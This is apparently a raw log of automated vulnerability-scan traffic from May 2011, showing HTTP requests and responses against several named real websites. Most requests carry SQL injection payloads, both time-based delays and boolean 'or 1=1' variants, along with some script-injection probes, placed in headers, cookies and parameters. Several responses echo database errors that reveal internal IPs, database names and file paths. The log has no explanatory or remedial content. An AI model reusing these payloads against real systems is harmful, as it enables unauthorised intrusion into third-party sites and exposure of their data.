User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874; __utmb=147269874.1.10.1304747384

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:16:12 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /ResetPassword.php HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=',0)waitfor%20delay'0%3a0%3a20'--
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874; __utmb=147269874.1.10.1304747384

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:37:04 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 3716
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /ResetPassword.php HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
Referer: https://secure.trust-guard.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24')waitfor%20delay'0%3a0%3a20'--
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874; __utmb=147269874.1.10.1304747384

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:31:04 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 3716
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /ResetPassword.php?1',0)waitfor%20delay'0%3a0%3a20'--=1 HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
Referer: https://secure.trust-guard.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874; __utmb=147269874.1.10.1304747384

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:11:07 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 3716
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

POST /ResetPassword.php HTTP/1.1
Referer: https://secure.trust-guard.com/ResetPassword.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: secure.trust-guard.com
Cookie: PHPSESSID=uh9nm4eto59nfd5fii6haostd4
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 43

txtEmail=19587081'%20or%201%3d1--%20&btnSubmit=Submit&btnCancel=Cancel

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:59:13 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...
<title>Trust Guard Login</title>

<script type="text/javascript">
//<![CDATA[
document.getElementsByTagName('html')[0].className='jsOn';
//]]>

function TemplateOnUnload()
{

}
</script>

</head>
<body style="background-color:#cccccc" onunload="TemplateOnUnload()">

<div style="text-align: center">
<center>
<table style="width: 1020px; background-color: white;" border="1" bordercolor="#000000" cellpadding="0" cellspacing="0">
<tr>
<td style="background-image:url(/images/controlpanel-header.jpg); background-color:Black; background-repeat:no-repeat; height:50px; width:900px; vertical-align: text-bottom; text-align: right" colspan="2">
</td>
</tr>
<tr>
<td align="center" style="vertical-align: middle; height: 23px;"></td>
</tr>

<tr>
<td>
<br />
<center>

<div style="border-right: #000000 thin solid; border-top: #000000 thin solid; border-left: #000000 thin solid;
width:300px; border-bottom: #000000 thin solid; background-color: #eeeeee; padding-right: 15px; padding-left: 15px; padding-bottom: 15px; padding-top: 15px; text-align: left;">

<form id="content:content" method="post" style="margin:0px" action="index.php">
<br /><br />
<script type="text/javascript">

function validateForm()
{
var message;
var nouser = (!validatePresent(document.getElementById('txtEmail'),'msg_user'));
var nopass = (!validatePresent(document.getElementById('txtPassword'),'msg_pass'));
if (nouser && nopass)
message = 'Please enter a username and a password.';
else if (nouser)
message = 'Please enter a username.';
else if (nopass)
message = 'Please enter a password.';

...[SNIP]...

POST /ResetPassword.php HTTP/1.1
Referer: https://secure.trust-guard.com/ResetPassword.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: secure.trust-guard.com
Cookie: PHPSESSID=uh9nm4eto59nfd5fii6haostd4
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 43

txtEmail=19587081'%20or%201%3d2--%20&btnSubmit=Submit&btnCancel=Cancel

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:59:14 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 3795
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...
<title>Reset Password</title>

<script type="text/javascript">
//<![CDATA[
document.getElementsByTagName('html')[0].className='jsOn';
//]]>

function TemplateOnUnload()
{

}
</script>

</head>
<body style="background-color:#cccccc" onunload="TemplateOnUnload()">

<div style="text-align: center">
<center>
<table style="width: 1020px; background-color: white;" border="1" bordercolor="#000000" cellpadding="0" cellspacing="0">
<tr>
<td style="background-image:url(/images/controlpanel-header.jpg); background-color:Black; background-repeat:no-repeat; height:50px; width:900px; vertical-align: text-bottom; text-align: right" colspan="2">
</td>
</tr>
<tr>
<td align="center" style="vertical-align: middle; height: 23px;"></td>
</tr>

<tr>
<td>
<br />
<center>

<div style="border-right: #000000 thin solid; border-top: #000000 thin solid; border-left: #000000 thin solid;
width:300px; border-bottom: #000000 thin solid; background-color: #eeeeee; padding-right: 15px; padding-left: 15px; padding-bottom: 15px; padding-top: 15px; text-align: left;">

<form method="post" style="margin:0px">

Enter you email address or site name below and click Submit and we will send you a new password<br />
<input id="txtEmail" name="txtEmail" type="text" value="19587081' or 1=2-- " style="width:300px" onblur="validatePresent(this,'msg_email');" /><br />
<div id="msg_email"> </div>
<span style="color:Red">
<span id='lblResult' >Could not find an account will the site 19587081' or 1=2-- .</span> </span>
<br />
<input id='btnSubmit' name='btnSubmit' type="submit" value="Submit"
onclick="return validatePresent(document.getElementById('php:txtEm
...[SNIP]...

GET /index.php HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
Referer: https://secure.trust-guard.com/ResetPassword.php
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874; __utmb=147269874.1.10.1304747384',0,0)waitfor%20delay'0%3a0%3a20'--

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 02:13:09 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5139
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /index.php HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
Referer: https://secure.trust-guard.com/ResetPassword.php
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)',0)waitfor%20delay'0%3a0%3a20'--; PHPSESSID=j3kca4chjn64leo452bv3ml9a4; __utma=147269874.1166530582.1303748966.1303758698.1304747384.3; __utmc=147269874; __utmb=147269874.1.10.1304747384

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:06:53 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /index.php/1'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Host: secure.trust-guard.com
Connection: keep-alive
Referer: https://secure.trust-guard.com/ResetPassword.php
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=147269874.1166530582.1303748966.1303748966.1303758698.2; PHPSESSID=j3kca4chjn64leo452bv3ml9a4

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:55:15 GMT
Server: Apache/2.2.3 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Content-Length: 5008
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<script type="text/ja
...[SNIP]...

GET /scm/?form='waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Host: subscribe.haymarketmedia.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=vdpcmz451e1pnq55altbbjzz; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 21:49:49 GMT
Content-Length: 5478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><link href="Pubs/SC
...[SNIP]...

GET /?scs_sid=-111%27%20OR%20SLEEP(25)=0%20LIMIT%201--+%00'&scs_tid=1488 HTTP/1.1
Host: tours.sapha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:14:44 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 412

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '-111' OR SLEEP(25)=0
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1)<br>
...[SNIP]...

GET /?scs_sid=2546'&scs_tid=-1+OR+17-7%3d10 HTTP/1.1
Host: tours.sapha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546=TRUE; sapha_tst_1=TRUE; sapha_2546_1=68004%7C40411%7C31540%7C2011-05-06+16%3A06%3A08; sapha_1_19=110363%7C2676569%7C2668748%7C2011-05-06+16%3A06%3A39

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:08:24 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 391

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: select SQL_CACHE * from site_options where site_ID = '2546''<br>
<b>MySQL
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2546''' at line 1)<br>
...[SNIP]...

GET /?scs_sid=2546''&scs_tid=-1+OR+17-7%3d10 HTTP/1.1
Host: tours.sapha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546=TRUE; sapha_tst_1=TRUE; sapha_2546_1=68004%7C40411%7C31540%7C2011-05-06+16%3A06%3A08; sapha_1_19=110363%7C2676569%7C2668748%7C2011-05-06+16%3A06%3A39

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:08:24 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 102

<html><body><h1>An error has occurred.</h1><p>Please contact support for assistance.</p></body></html>

GET /?scs_sid=2546&scs_tid=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000074)%3C/script%3E29377093'%20or%201%3d1--%20&scscs=1 HTTP/1.1
Host: tours.sapha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:36 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 102

<html><body><h1>An error has occurred.</h1><p>Please contact support for assistance.</p></body></html>

GET /?scs_sid=2546&scs_tid=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000074)%3C/script%3E29377093'%20or%201%3d2--%20&scscs=1 HTTP/1.1
Host: tours.sapha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546=TRUE; sapha_2546_1=62715%7C35764%7C31540%7C2011-04-22+15%3A37%3A56; sapha_tst_1=TRUE; sapha_1_19=108127%7C2674799%7C2668748%7C2011-04-22+20%3A01%3A46

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:36 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1022

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Tour Unavailable</title>
<style type="text/css">
   body{
       margin:0;
       padding:0;
   }
   a{
   color:#9E2626;
   }
   a:hover{
    text-decoration:none;
   }
   .left {
       float:left;
   }
   #container {
       width:640px;
       margin:50px auto 20px auto;
       padding:0;
   }
   #container #content {
       margin-left: 200px;
   }
</style>
</head>
<body>
   <div id="container">
       <img class="left" src="images/alert_175x162.gif" height="162" width="175" border="0" />
       <div id="content">
           <h1>Oops!</h1>
           <p>The tour you have requested does not exist or is not currently available. Please <a href="mailto:support@sapha.com" title="Sapha Support">contact support</a> if you feel you have reached this page in error.</p>
       </div>
   </div>
</body>
</html>

GET /?scs_sid=2546&scs_tid=2545'&scscs=1 HTTP/1.1
Host: tours.sapha.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sapha_tst_2546=TRUE; sapha_tst_2546=TRUE; sapha_tst_1=TRUE; sapha_1_19=110075%7C2676569%7C2668748%7C2011-05-06+16%3A05%3A33; sapha_2546_1=68004%7C40411%7C31540%7C2011-05-06+16%3A06%3A08

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:06:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 429

</td></tr></table><b>Database error on host '192.168.50.20', db 'sapha_core', user 'www', object 'globalDB':</b> Invalid SQL: SELECT 1 FROM site_application t1 WHERE t1.site_application_isactive = 1 A
...[SNIP]...
</b>: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)<br>
...[SNIP]...

GET /nr/alertsArchv.asp?Year=2006' HTTP/1.1
Cookie: ASPSESSIONIDSSSASTRS=AOLLAMJAKHMOMMMNLJCHGNIN
Host: www.brownrudnick.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5
Accept: */*

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Fri, 06 May 2011 18:47:11 GMT
X-Powered-By: ASP.NET
MicrosoftOfficeWebServer: 5.0_Pub
Content-Length: 13913
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSQRDRRTT=LPGCALMBHBMDBAFEOEDHOHHC; path=/
Cache-control: private

<html>

<head>

<meta http-equiv="Content-Language" content="en-us">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Brown Rudnick - Alerts and Newsletters -
...[SNIP]...
</i> Microsoft OLE DB Provider for ODBC Drivers<br>
...[SNIP]...

GET /accommodation2.php?id=8289' HTTP/1.1
Host: www.caribbean-ocean.com
Proxy-Connection: keep-alive
Referer: http://www.caribbean-ocean.com/luxury%20Jamaica%20Resort%20holidays/105
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=lj6iq5k4nck6ah1gcn4059tnpc0iac0k

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:35:51 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 10042

1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br /><br /><textarea rows="10" cols="100">SEL
...[SNIP]...
</textarea>
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/chroot/home/james/safari/accommodation2.php on line 34
<html>
...[SNIP]...

GET /accommodation2.php?id=/1'8289 HTTP/1.1
Host: www.caribbean-ocean.com
Proxy-Connection: keep-alive
Referer: http://www.caribbean-ocean.com/luxury%20Jamaica%20Resort%20holidays/105
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=lj6iq5k4nck6ah1gcn4059tnpc0iac0k

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:44 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 10070

1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/1\'8289' at line 1<br /><br /><textarea rows="10" cols="10
...[SNIP]...
</textarea>
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/chroot/home/james/safari/accommodation2.php on line 34
<html>
...[SNIP]...

GET /get-image.php?id=18696' HTTP/1.1
Referer: http://www.caribbean-ocean.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.caribbean-ocean.com
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

HTTP/1.1 200 OK
